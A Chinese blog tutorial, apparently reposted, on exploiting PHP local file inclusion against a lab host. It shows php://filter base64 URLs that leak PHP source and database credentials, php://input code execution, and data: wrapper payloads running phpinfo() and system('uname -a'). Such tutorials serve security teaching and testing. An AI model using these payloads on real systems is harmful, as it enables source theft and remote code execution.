假设如下一个场景
(1) http://vulnerable/fileincl/example1.php?page=intro.php(该php文件包含LFI漏洞)
(2) 但是你没有地方可以upload你的webshell代码
(3) LFI只能读取到非php文件的源码(因为无法解析执行 只能被爆菊花)
(4) 如果你能读取到config.php之类文件 或许可以直接拿到数据库账号远程入侵进去
【现在的问题是】 LFI如何读取到php文件的源码?
于是给大家做个演示 如果我正常用LFI去读/sqli/db.php文件 是无法读取它的源码 它会被当做php文件被执行
1
|
http://vulnerable/fileincl/example1.php?page=../sqli/db.php
|
但是如果我用老外文章里说提到的方法 就能把指定php文件的源码以base64方式编码并被显示出来
1
|
http://vulnerable/fileincl/example1.php?page=php://filter/read=convert.base64-encode/resource=../sqli/db.php
|
/sqli/db.php源码base64编码后的内容显示如下
1
|
PD9waHAgCiAgJGxuayA9IG15c3FsX2Nvbm5lY3QoImxvY2FsaG9zdCIsICJwZW50ZXN0ZXJsYWIiLCAicGVudGVzdGVybGFiIik7CiAgJGRiID0gbXlzcWxfc2VsZWN0X2RiKCdleGVyY2lzZXMnLCAkbG5rKTsKPz4K
|
然后我们再去进行base64解码 解码后/sqli/db.php文件的源码一览无遗
看上去好像很厉害的样子…… 但是 =_,=||~ 再继续看下文~
******************* 我是邪恶的分割线 *******************
【技巧】php://input 和 data:
php://input 详情可以参考
http://zerofreak.blogspot.jp/2012/04/lfi-exploitation-via-phpinput-shelling.html
【条件】在allow_url_include = On 且 PHP >= 5.2.0
【优势】直接POST php代码并执行
【鸡肋】在allow_url_include = On 传说中就可以直接RFI了 不过没有vps的童鞋可以这样玩比较方便
在上面提到的同一个LFI漏洞点 我们又要来爆它一次菊花
1
|
http://vulnerable/fileincl/example1.php?page=intro.php
|
访问如下URL并用burp直接修改HTTP包 追加php命令代码
1
|
http://vulnerable/fileincl/example1.php?page=php://input
|
然后某君再一次被爆菊 >_<!~ (对不起~)
再换几种姿势继续 data: 的方式
1
2
3
|
http://vulnerable/fileincl/example1.php?page=data://text/plain;base64,PD9waHBpbmZvKCk7Lyo=
http://vulnerable/fileincl/example1.php?page=data:;base64,PD9waHBpbmZvKCk7Lyo=
http://vulnerable/fileincl/example1.php?page=data:text/plain,<?php system(“uname -a”);?>
|
[via@casperkid / 2cto]
Copyright © hongdaChiaki. All Rights Reserved. 鸿大千秋 版权所有
联系方式:
地址: 深圳市南山区招商街道沿山社区沿山路43号创业壹号大楼A栋107室
邮箱:service@hongdaqianqiu.com
备案号:粤ICP备15078875号